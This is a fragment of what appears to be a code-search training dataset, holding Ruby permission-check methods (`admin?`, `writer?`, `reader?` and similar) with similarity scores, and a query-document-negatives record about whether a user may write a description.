\"admin\"\n return true\n else\n return false\n end\n end", "def is_admin?\n\t\treturn self.usertype == \"admin\"\n\tend", "def is_admin?\n role = self.role\n\n if(role == 'admin')\n return true\n else\n return false\n end\n end", "def admin?\n user.class.name == Admin.name\n end", "def is_admin?(_user_id)\n conversation_members.admin.where(user_id: _user_id).any?\n end", "def admin?\n role == :admin\n end", "def admin? ; user.instance_of? User and user.role >= 2 ; end", "def admin?\n if self.role == 'admin'\n true\n else\n false\n end\n end", "def admin\n is_user_in_role(ADMIN_ROLE_ID)\n end", "def admin?\r\n infoxml = get_info\r\n return infoxml['isadmin'] == '1'\r\n end", "def admin?\n current_user.admin?\n end", "def is_admin?\n self.is_admin == \"true\"\n end", "def admin?\n if(@current_user)\n @current_user.admin?\n end\n end", "def isuseradmin?\n if $credentials != nil\n isadminornot = User.where(:username => $credentials[0]).to_a.first\n @adminuser = \"#{isadminornot.username}\"\n if @adminuser == \"Admin\"\n return true\n else \n return false\n end\n end\n end", "def eventunscrape?\n @user.is_admin?\n end", "def admin_user\n @current_user.admin?\n end", "def admin?\n self.role == 53\n end", "def admin?\n role?(UserRoles::ADMIN)\n end", "def is_admin\n if self.role_as_admin.size > 0\n return true\n else\n return false\n end\n end", "def is_admin?\n admin?\n end", "def is_admin?\n current_user ? current_user.login == 'admin' : false\n end", "def admin_access?\n admin?\n end", "def user?(admin)\n admin&.id == self.admin_id\n end", "def admin?(user = nil)\n membership = Membership.find_by group_id: id, user_id: user.id,\n role: 'admin'\n return false if membership.nil?\n membership.user_id == user.id\n end", "def admin?()\n roles.each { |r| return true if r.omnipotent? }\n false\n end", "def admin_user?\n session[:user][:uid] == APP_CONFIG[:admin]\n end", "def is_admin\n admin?\n end", "def is_admin?\n admin\n end", "def is_admin?\n admin\n end", "def is_admin?(user)\n return false if Access::Core.is_guest?(user)\n\n user.has_role?(:admin)\n end", "def admin?\n role.to_s == \"admin\"\n end", "def current_user_is_admin\n\t\ttrue if current_user.admin == 't'\n\tend", "def is_admin?\n role == 'admin'\n end", "def is_admin?\n role == 'admin'\n end", "def is_admin?\n role == 'admin'\n end", "def admin?\n self.admin_user\n end", "def admin?\n current_user && current_user.role?(\"admin\")\n end", "def current_admin?(user)\n current_user.admin?\n end", "def current_user_is_admin?(node)\n current_user_has_role?('admin', node)\n end", "def is_admin?\n type === 'Admin'\n end", "def admin?\n isAdmin = false ; \n self.role.each { |r|\n if r.name == 'Administrator'\n isAdmin = true\n end\n \n }\n return isAdmin\n end", "def admin?\n c_user = current_user\n not c_user.nil? and c_user.group==\"admin\"\n end", "def is_admin?\n current_user && current_user.try(:admin?)\n end", "def admin?\n\t\tcurrent_user.try(:admin)\n\tend", "def admin?\n @current_user.admin?\n end", "def is_admin?\n current_user and current_user.is_admin?\n end", "def is_admin\n\t\t\tif @admin == \"TRUE\"\n\t\t\t\treturn true\n\t\t\tend\n\t\t\treturn false\n\t\tend", "def is_admin?\n role == :admin\n end", "def is_admin?\n self.role == ROLES[:admin]\n end", "def is_admin?\n current_user && current_user.admin\n end", "def admin?\n @user = current_user.is_admin?\n end", "def is_admin\n user = UserAdmin.find_by_user_id(current_user.id)\n if user and user.level > 1\n return true || false\n end\n end", "def admin?\r\n has_role?(\"admin\")\r\n end", "def admin?\n (session[:drupal_user_role] && (session[:drupal_user_role].values.include?('administrator') || session[:drupal_user_role].values.include?('staff'))) ? true : false\n end", "def admin?\n name == 'admin'\n end", "def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end", "def admin?\n role == \"admin\"\n end", "def is_admin?\n if login == \"ankit\"\n return true\n else\n return false\n end\n end", "def is_admin?\n (self.role =~ /admin/) == 0 ? true : false\n end", "def admin?\n role == 'admin'\n end", "def admin?\n role == 'admin'\n end", "def is_admin?\n\t\trole == 'admin'\n\tend", "def is_admin?\n\t\trole == 'admin'\n\tend", "def is_admin?\n current_user.role.eql?(\"admin\")\n end", "def is_admin?\n self.role && self.role_name == \"Admin\"\n end", "def admin?\n @current_user && @current_user.has_role?(:admin)\n end", "def is_super_admin?\n user_type == 'super_admin'\n end", "def normal_user?\n self.admin ==false\n end", "def is_admin?\n current_user && current_user.admin?\n end", "def admin?\n return self.role == \"admin\"\n end", "def admin?\n return self.role == \"admin\"\n end", "def is_admin?\n return false unless logged_in?\n user = User.find_by_id(current_user)\n user.userstatus.status == \"admin\" ? true : false\n end" ]
[ "0.8482777", "0.82945985", "0.8256615", "0.8245443", "0.82209694", "0.81923366", "0.8178489", "0.8164973", "0.81641513", "0.8135117", "0.8134618", "0.80921626", "0.80820835", "0.8080537", "0.8059886", "0.80450773", "0.8037893", "0.80276066", "0.8010571", "0.7999936", "0.79861677", "0.7979257", "0.7941095", "0.7940041", "0.7936476", "0.7933399", "0.79225594", "0.7903828", "0.7893495", "0.7893111", "0.7887415", "0.7886367", "0.78791404", "0.78747576", "0.786205", "0.7858667", "0.7858491", "0.78550786", "0.7854894", "0.78456235", "0.7839914", "0.783858", "0.78328264", "0.78289574", "0.7823928", "0.7816661", "0.78144825", "0.78134817", "0.7807225", "0.7797124", "0.7793205", "0.7792447", "0.7791492", "0.7790883", "0.77906513", "0.77882487", "0.77882487", "0.77842945", "0.77714705", "0.77713805", "0.7770245", "0.7770245", "0.7770245", "0.7762332", "0.7756965", "0.7756326", "0.77555645", "0.7752671", "0.77490807", "0.77471256", "0.77459985", "0.7742871", "0.7741939", "0.77385545", "0.77358645", "0.7734895", "0.773112", "0.7728992", "0.7725024", "0.7724098", "0.77231497", "0.7722825", "0.7721731", "0.7721513", "0.7718901", "0.77186066", "0.7715586", "0.77119833", "0.77119833", "0.7705138", "0.7705138", "0.7703044", "0.76999354", "0.7698232", "0.76956606", "0.7690598", "0.76885945", "0.7687534", "0.7687534", "0.7686891" ]
0.80416274
16
Is a given user an writer for this description?
def writer?(user) public_write || permitted?(writers_join_table, user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def readable_by? user\n true\n end", "def creatable_by?(creator)\n creator.administrator? || !administrator\n end", "def canBeWrittenBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights == 2 or @userRights >= 6\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights == 2 or @groupRights >= 6\n return true\n else\n return false\n end\n else\n if @othersRights == 2 or @othersRights >= 6\n return true\n else\n return false\n end\n end\n end", "def user_can_write(user)\n if (self.writing? or self.rejected?) and (self.user == user or self.book.project.owner == user or user.id == 1) then\n return true\n else\n return false\n end\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def readable_by?(user)\n !resource.archived? || (user.is_admin? || is_mill?(user))\n end", "def readable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def readable?(_user)\n true\n end", "def edited_by?(user)\n lecture.edited_by?(user)\n end", "def edited_by?(user)\n return true if editors.include?(user)\n false\n end", "def is_user_moderator?(user)\n result = false\n if(user)\n if user.has_system_role('moderator')\n result = true\n end\n\n\n if(created_by==user.id)\n result = true\n end\n\n self.publishers.each do |organism|\n if organism.is_user_moderator?(user)\n result = true\n end\n end\n end\n return result\n\t\n end", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def readable_by?(user)\n user.in_session?(resource) || user.admin_for?(resource.course)\n end", "def user_is_contributor?\n !current_cookbook.is_owner?(current_user)\n end", "def is_contributor\n user = UserAdmin.find_by_user_id(current_user.id)\n if user and user.level >0\n return true || false\n end\n end", "def contributor?\n self.contributor\n end", "def is_creator?\n\t\tself.is_creator == 1\n\tend", "def is_reviewer?\n self.reviewer_role != nil\n end", "def is_contributor?(story)\n User.role_for_story(self, story.id) == \"loggedout\" || User.role_for_story(self, story.id) == \"reader\"\n end", "def creatable_by?(user)\n user.administrator?\n end", "def owned_by? a_user\n a_user == program.moderator\n end", "def editable? usr\r\n (seller?(usr) || pixter?(usr) || usr.has_role?(:admin)) || usr.has_role?(:support)\r\n end", "def editor?(user)\n editors.member?(user)\n end", "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def user_is_owner_or_admin?\n record.reading.user == user || user.try(:admin?)\n end", "def editable_by?(user)\n \tuser && user == owner\n\tend", "def can_read?(user)\n (released? && assignment.released_for_student?(user)) ||\n assignment.can_edit?(user)\n end", "def is_reader?(user)\n public || permitted?(readers_join_table, user)\n end", "def is_reviewer?(user)\n review_result = self.design_review_results.detect { |drr| drr.reviewer == user }\n review_result != nil\n end", "def displayable_to_user?(user, cat=catalog)\n at_least_editor = user.catalog_role_at_least?(cat, 'editor')\n at_least_editor || !restricted?\n end", "def author?(user)\n authors.member?(user)\n end", "def canBeReadBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights >= 4\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights >= 4\n return true\n else\n return false\n end\n else\n if @othersRights >= 4\n return true\n else\n return false\n end\n end\n end", "def editable_by?(user)\n\t \t# user && user == owner\n\t user == user\n \tend", "def read_by?(user)\n\t user and self.readers.find_by_id(user.id)\n end", "def author?(user)\n self.user == user\n end", "def reviewable_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :reviewer)\n end", "def can_read_content?(user)\n released_for_student?(user) || can_edit?(user)\n end", "def can_edit?(current_user_id)\n\t\tif User.find(current_user_id) == creator\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def managed_by? a_user\n owned_by? a_user || program.moderator == a_user\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def is_content_creator?\n\t\treturn self.usertype == \"content_creator\"\n\tend", "def owner?(c_utor)\n case self.contributor_type\n when \"User\"\n return (self.contributor_id == c_utor.id && self.contributor_type == c_utor.class.name)\n # TODO some new types of \"contributors\" may be added at some point - this is to cater for that in future\n # when \"Network\"\n # return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s\n else\n # unknown type of contributor - definitely not the owner \n return false\n end\n end", "def _accessible? user_or_id, edit_or_view\n # get user id\n user_id = user_or_id.to_i\n # quick response if user is self.agent\n return true if self.agent_id == user_id\n # get user object\n user = user_or_id.is_a?(Fixnum) ? Usage::User.find(user_or_id) : user_or_id\n if user.super?\n return true\n elsif user.agent? or user.manager?\n return true if _accessible_through_family?(user, edit_or_view)\n elsif user.sales_support?\n return true if _accessible_for_sales_support?(user)\n end\n false\n end", "def creator?(object)\n current_user == object.user ? true : false\n \n end", "def owned_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :creator)\n end", "def mayEdit? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYEDIT ) )\n return true\n end\n end\n end\n return false\n end", "def is_reviewer(user, project_name)\n l = \"#{project_name} #{user}\\n\" # DOS ?\n File.open(\"#{NSC_UPLOAD_DIR}/reviewers.txt\").each do |line|\n return true if line == l\n end\n return false\n end", "def updatable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def enrolled?(user)\n return false if user == owner\n users.include?(user)\n end", "def user_can_edit(user)\n if (self.editor == user) or self.book.project.owner == user or user.id == 1 then\n return true\n else\n return false\n end\n end", "def viewer?\n user_role_id == UserRole::VIEWER\n end", "def permitted_to_read?(user)\n user.is_admin? || (has_groupblog_permission?(user) || self.user == user || self.group.moderator == user || (self.group.can_user_see_eachother && group.participants.include?(user)))\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def viewable_by?(actor)\n actor.is_a?(User)\n end", "def mayView? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYVIEW ) or ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYVIEW ) or ( special == Dfile::PP_MAYEDIT ) )\n return true\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has special permission but not right one\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has no special permission\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n \n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"no special permissions\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n return false\n end", "def created_by?(user)\n unless user.nil?\n userid = user.send(BigbluebuttonRails.configuration.user_attr_id)\n self.creator_id == userid\n else\n false\n end\n end", "def is_user?(_user)\n teacher = _user.class == User ? _user.portal_teacher : _user\n teachers.include? teacher\n end", "def deletable_by?(user)\n user.has_role?(:editor) || user.has_role?(:admin)\n end", "def user?\n permissions == 'user'\n end", "def public_writer?\n @writer_visibility == :public\n end", "def is_user_moderator?(user)\n if user\n if id==user.id\n return true\n end\n end\n return false\n end", "def allowed?(by: nil, method:, action: \"\")\n return readable?(by: by, action: action) if method == 'GET'\n\n case by&.role_id\n when ROLE_ID[:admin]\n true\n when ROLE_ID[:writer]\n creator_id == by.id\n else\n false\n end\n end", "def modifiable?(user)\n RetroCM[:ticketing][:author_modifiable][:tickets] == true && self.user == user\n end", "def applies_to?(user); false end", "def can_read?(user)\n (self.user == user) || course.can_edit?(user)\n end", "def editable_by?(user)\n if self.status == :private\n self.user == user || self.featurings.map(&:user).include?(user)\n elsif status == :temporary\n true # XXX FIXME SECURITY HOLE RIGHT HERE: ANY USER CAN MODIFY TEMP SONGS FIXME\n elsif status == :public\n false\n end\n end", "def readable?(user)\n confirmed? || self == user\n end", "def can_view?(u)\n\t\tu and (u.admin? or u.staff? or (u == self.user))\n\t\t# TODO: support users having explicit permission to view a document\n\t\t# TODO: support users belonging to group that has permission to view a document\n\tend", "def donors?(other_user)\n\t\tdonors.include?(other_user)\n\tend", "def destroyable_by?(user)\n return !!(user.is_admin? or self.creator == nil or self.creator == user or (self.roll and self.roll.creator == user))\n end", "def can_edit?(user)\n return user == self.user || user.has_role?(:admin)\n end", "def has_access(developer)\r\n current_user.id == developer.id\r\n end", "def manager_or_owner?\n MANAGER_ROLES.include?(CourseUser.roles[role.to_sym])\n end", "def current_user_is_reviewer?(current_user_id)\n get_logged_in_reviewer_id(current_user_id) != nil\n end", "def updatable_by?(user)\n user.admin_for?(resource.course)\n end", "def editable_by?(user)\n return false if user.blank?\n project.project_users.exists?([\"role IN ('curator', 'manager') AND user_id = ?\", user])\n end", "def write_permitted?\n return (acting_user.administrator? || users.member?(acting_user))\n end", "def has_private_writer?\n options[:writer] == :private\n end", "def is_user?\n usertype == 'user'\n end", "def is_author_of?(name)\n self.is_author? and !self.programs.find_by_name(name).nil?\n end", "def updatable_by?(user)\n user.has_role?(:admin) or resource.user_id == user.id\n end", "def last_editor?(c_utor)\n case self.contributor_type\n when \"User\"\n return (self.contributor_id == c_utor.id && self.contributor_type == c_utor.class.name)\n # TODO some new types of \"contributors\" may be added at some point - this is to cater for that in future\n # when \"Network\"\n # return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s\n else\n # unknown type of contributor - definitely not the owner \n return false\n end\n end", "def editable_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :editor)\n end", "def user_is_owner_or_admin?\n record.user == user || user.try(:admin?)\n end", "def can_review?\n reviewer? || moderator? || administrator?\n end", "def is_user?\n user ? true : false\n end", "def user?\n has_role? :user\n end", "def can_edit?(user)\n !!(user && (user.admin? || users.include?(user)))\n end", "def read_allowed?(user)\n true\n end", "def can_edit?(user)\n if user.nil?\n false\n else\n if self.admins.map(&:downcase).include?(user.email.downcase)\n return true\n else\n self.user_in_group_share?(user, 'Edit')\n end\n end\n end", "def may_read?(*args)\n\t\t\t(self.role_names & \n\t\t\t\t['superuser','administrator','editor','interviewer','reader']\n\t\t\t).length > 0\n\t\tend", "def write?(person, client)\n return read?(person, client) && (owner == person || ! read_only || (!person.nil? && person.moderator?(client)))\n end", "def owner?(c_utor)\n #contributor_id.to_i == c_utor.id.to_i and contributor_type.to_s == c_utor.class.to_s\n \n case self.contributor_type.to_s\n when \"User\"\n return (self.contributor_id.to_i == c_utor.id.to_i and self.contributor_type.to_s == c_utor.class.to_s)\n when \"Network\"\n return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s\n else\n return false\n end\n \n #return (self.contributor_id.to_i == c_utor.id.to_i and self.contributor_type.to_s == c_utor.class.to_s) if self.contributor_type.to_s == \"User\"\n #return self.contributor.owner?(c_utor.id) if self.contributor_type.to_s == \"Network\"\n \n #false\n end", "def created_or_admin(obj)\n if session[:person].id.to_i == obj.creator_id.to_i || session[:person].is_admin\n true\n else\n false\n end\n end", "def is_account_holder_or_administrator?\n roles.any? { |r| r.title == 'administrator' || r.title == 'account_holder' }\n end", "def creatable_by?(user)\n true\n end" ]
[ "0.73256534", "0.7215667", "0.71244144", "0.70904756", "0.7086124", "0.7006786", "0.69867325", "0.6936943", "0.6925994", "0.6922083", "0.6905442", "0.69052166", "0.68814886", "0.6879818", "0.6877545", "0.68649095", "0.68621093", "0.6859863", "0.6832547", "0.67703986", "0.6768626", "0.6756549", "0.67405444", "0.67266136", "0.67264956", "0.6711143", "0.6707477", "0.66952527", "0.66883284", "0.6644553", "0.66401774", "0.6636847", "0.66137177", "0.660177", "0.65961844", "0.65881765", "0.6582712", "0.65696216", "0.6559682", "0.6557577", "0.6557577", "0.6557577", "0.65534747", "0.6541235", "0.6530837", "0.6524284", "0.6522013", "0.65166205", "0.6506781", "0.6495529", "0.64869106", "0.64745814", "0.64727485", "0.6467713", "0.6451349", "0.6451349", "0.6451349", "0.6451344", "0.64500016", "0.6444005", "0.64439654", "0.6431812", "0.6421044", "0.6420327", "0.64028513", "0.6400267", "0.6389825", "0.63752776", "0.63702244", "0.6357361", "0.63531756", "0.6352662", "0.63438857", "0.6338591", "0.6333416", "0.6329471", "0.63200754", "0.6319642", "0.6315921", "0.6310413", "0.6308607", "0.6304671", "0.629592", "0.6295908", "0.6287696", "0.6286779", "0.628577", "0.62807053", "0.62783253", "0.6277569", "0.62708294", "0.6263832", "0.62631977", "0.62604237", "0.6259806", "0.62584656", "0.62565565", "0.6256431", "0.6255328", "0.6252358" ]
0.7896809
0
Is a given user an reader for this description?
def is_reader?(user) public || permitted?(readers_join_table, user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_by?(user)\n\t user and self.readers.find_by_id(user.id)\n end", "def is_reviewer?(user)\n review_result = self.design_review_results.detect { |drr| drr.reviewer == user }\n review_result != nil\n end", "def readable?(_user)\n true\n end", "def readable_by? user\n true\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def canBeReadBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights >= 4\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights >= 4\n return true\n else\n return false\n end\n else\n if @othersRights >= 4\n return true\n else\n return false\n end\n end\n end", "def is_reviewer?\n self.reviewer_role != nil\n end", "def is_reviewer(user, project_name)\n l = \"#{project_name} #{user}\\n\" # DOS ?\n File.open(\"#{NSC_UPLOAD_DIR}/reviewers.txt\").each do |line|\n return true if line == l\n end\n return false\n end", "def readable_by?(user)\n !resource.archived? || (user.is_admin? || is_mill?(user))\n end", "def readable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def read_allowed?(user)\n true\n end", "def current_user_is_reviewer?(current_user_id)\n get_logged_in_reviewer_id(current_user_id) != nil\n end", "def readable_by?(user)\n user.in_session?(resource) || user.admin_for?(resource.course)\n end", "def readable?(user)\n confirmed? || self == user\n end", "def viewer?(current_user)\n return false unless current_user\n\n viewers.where(id: current_user).count == 1\n end", "def can_read?(user)\n (released? && assignment.released_for_student?(user)) ||\n assignment.can_edit?(user)\n end", "def author?(user)\n authors.member?(user)\n end", "def reviewable_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :reviewer)\n end", "def author?(user)\n self.user == user\n end", "def user?\n get_mode == :user\n end", "def read?(person, client)\n if (! self.priv)\n return self.client == client\n end\n return (self.client == nil || self.client == client) &&\n (owner == person || owner.contacts.include?(person) || (!person.nil? && person.moderator?(client)))\n end", "def current_user_is_read\n\t\t\t@current_is_read ||= Proc.new do\n\n\t\t\t\tself.receivers.each do |receiver|\n\t\t\t\t\t# If receiver\n\t\t\t\t\treturn receiver.is_read if receiver.receiver_id == User.current.id && receiver.receiver_type == 'user'\n\t\t\t\tend\n\n\t\t\tend.call\n\t\tend", "def can_read_content?(user)\n released_for_student?(user) || can_edit?(user)\n end", "def viewer?\n user_role_id == UserRole::VIEWER\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def author?(user)\n user && author.id == user.id\n end", "def can_read?(user)\n (self.user == user) || course.can_edit?(user)\n end", "def isResearcher?\n return account_type == 1\n end", "def is_user?\n usertype == 'user'\n end", "def displayable_to_user?(user, cat=catalog)\n at_least_editor = user.catalog_role_at_least?(cat, 'editor')\n at_least_editor || !restricted?\n end", "def preview_only?(user)\n !listed && !author?(user)\n end", "def may_read?(*args)\n\t\t\t(self.role_names & \n\t\t\t\t['superuser','administrator','editor','interviewer','reader']\n\t\t\t).length > 0\n\t\tend", "def user?\n type == :user_id\n end", "def user?\n type == :user_id\n end", "def user_read?(user_id)\n return false if user_id.nil?\n\n load_from_server if fault?\n\n @read.include?(user_id)\n end", "def readable_by?(agent = nil)\n true\n end", "def user?\n is_a?(Merit::User)\n end", "def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend", "def is_creator?\n\t\tself.is_creator == 1\n\tend", "def readable_by?(user, parent = nil)\n raise \"#{self.class}#readable_by?(user, parent = nil) must be overridden\"\n end", "def has_autorisation_icarien?(duser)\n drequest = {\n where: {user_id: duser[:id], raison: 'ICARIEN ACTIF'}\n }\n table_autorisations_online.count(drequest) > 0\n end", "def is_author?\n Response.joins(question: :poll).where(\"polls.user_id = ?\", self.user_id).exists?\n end", "def rated_by?(user)\n rating && rating.user_ratings.exists?(:user_id => user)\n end", "def answer?\n @plan.readable_by?(@user.id)\n end", "def current_user_has_read?(uri, options=nil)\n opts = options || current_user.try(:user_options) || nil\n current_user.present? and current_user.has_read?(uri, opts)\n end", "def rated_by_user?(user)\n rtn = false\n if user\n self.ratings.each { |b|\n rtn = true if (user.id == b.rater_id && b.rater_type == \"User\")\n }\n end\n rtn\n end", "def editor?(user)\n editors.member?(user)\n end", "def is_readable_by?(agent = nil)\n true\n end", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def user_is_owner_or_admin?\n record.reading.user == user || user.try(:admin?)\n end", "def liked_by?(user)\n likers.exists?(user.id)\n end", "def can_be_read_by?(attempting_user)\n if attempting_user\n published? && (is_public? || is_protected? || member?(attempting_user) || attempting_user.is_admin? ||\n (is_subscription_only? && attempting_user.is_paid_subscriber?))\n else\n published? && is_public?\n end\n end", "def edited_by?(user)\n return true if editors.include?(user)\n false\n end", "def rated_by?(user)\n ratings.where(user_id: user.id).exist?\n end", "def recipe_belongs_to_user(user)\n if user.recipes.select {|s| s.users == users}.count > 0\n return true\n else\n return false\n end\n end", "def readable_by(user_id)\n\t\tuser = project_groups.find_by_user_id(user_id)\n\t\tif (! user.nil?) then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def reviewer_is_complete?(user)\n\n complete = true\n\n self.my_assigned_roles(user).each do |my_role|\n my_review_result = self.design_review_results.detect { |drr| drr.role == my_role }\n complete = my_review_result.positive_response?\n break if !complete\n end\n\n complete\n\n end", "def can_see_me? (fld)\n title = datamart_user.datamart_user_profile.title rescue ''\n case title\n when 'Processor'\n return true if fld.eql?('per_loan_processed') or fld.eql?('per_loan_branch_processed')\n when 'Branch Manager / NON Storefront' \n when 'Branch Manager Storefront'\n return true if fld.eql?('bmsf_override')\n when 'Branch Sales Manager'\n return true if fld.eql?('bsm_override')\n end\n false\n end", "def edited_by?(user)\n lecture.edited_by?(user)\n end", "def user?\n permissions == 'user'\n end", "def rateable_by?(user)\n self.user.rateable_by?(user)\n end", "def rateable_by?(user)\n self.user.rateable_by?(user)\n end", "def get_read_access( u)\n \n return (u == self.user) || (self.public)\n \n \n end", "def is_author_of?(item)\n if item.respond_to?(:user)\n self == item.user\n elsif item.respond_to?(:pseud)\n self.pseuds.include?(item.pseud)\n elsif item.respond_to?(:pseuds)\n !(self.pseuds & item.pseuds).empty? \n else\n false\n end\n end", "def is_author_of?(item)\n if item.respond_to?(:user)\n self == item.user\n elsif item.respond_to?(:pseud)\n self.pseuds.include?(item.pseud)\n elsif item.respond_to?(:pseuds)\n !(self.pseuds & item.pseuds).empty?\n elsif item.respond_to?(:author)\n self == item.author\n else\n false\n end\n end", "def permitted_to_read?(user)\n user.is_admin? || (has_groupblog_permission?(user) || self.user == user || self.group.moderator == user || (self.group.can_user_see_eachother && group.participants.include?(user)))\n end", "def user_owner_entry?\n user_entry? && principle == \"OWNER\"\n end", "def may_read?(*args)\n\t\t(self.role_names & \n\t\t\t['superuser','administrator','exporter','editor','reader']\n\t\t).length > 0\n\tend", "def accessible_for?(user)\n user_id == user.id && !user.anonimous?\n end", "def _accessible? user_or_id, edit_or_view\n # get user id\n user_id = user_or_id.to_i\n # quick response if user is self.agent\n return true if self.agent_id == user_id\n # get user object\n user = user_or_id.is_a?(Fixnum) ? Usage::User.find(user_or_id) : user_or_id\n if user.super?\n return true\n elsif user.agent? or user.manager?\n return true if _accessible_through_family?(user, edit_or_view)\n elsif user.sales_support?\n return true if _accessible_for_sales_support?(user)\n end\n false\n end", "def user?\n has_role? :user\n end", "def viewable_by?(actor)\n actor.is_a?(User)\n end", "def recommended?(user_id)\n return self.article_recommendations.exists?(user_id: user_id)\n end", "def rated_by_user?(user)\n rtn = false\n if user\n self.ratings.each { |b|\n rtn = true if user.id == b.user_id\n }\n end\n rtn\n end", "def can_read?(user)\n assignment.grades_released? || can_grade?(user)\n end", "def readable_by?(user_id)\n user = user_id.is_a?(User) ? user_id : User.find(user_id)\n owner_orgs = self.owner_and_coowners.collect(&:org)\n \n # Super Admins can view plans read-only, Org Admins can view their Org's plans \n # otherwise the user must have the commenter role\n (user.can_super_admin? ||\n user.can_org_admin? && owner_orgs.include?(user.org) ||\n has_role(user.id, :commenter))\n end", "def is_user?\n user ? true : false\n end", "def completed_by_user?(user)\n completing_interpreters.include?(user)\n end", "def can_read?(user=@session.user)\n effective_acl.can_read?(user)\n end", "def readers_who_follow(user, options={})\n if user\n self.readers.all({:conditions => {:id => user.followers, :is_registered => true}, :limit => 3, :order => 'read_receipts.created_at DESC'}.merge(options))\n else\n false\n end\n end", "def requester?(person)\n (share_type.is_request? && author.eql?(person)) || (share_type.is_offer? && !author.eql?(person))\n end", "def viewable_by?(user)\n Sugar.public_browsing? || user ? true : false\n end", "def editable? usr\r\n (seller?(usr) || pixter?(usr) || usr.has_role?(:admin)) || usr.has_role?(:support)\r\n end", "def contributor?\n self.contributor\n end", "def show?\n @user && (can_update_seminar? || @record.holder_id == @user.id || @user.authorization.can_read?(@record.seminar.organization_id))\n end", "def 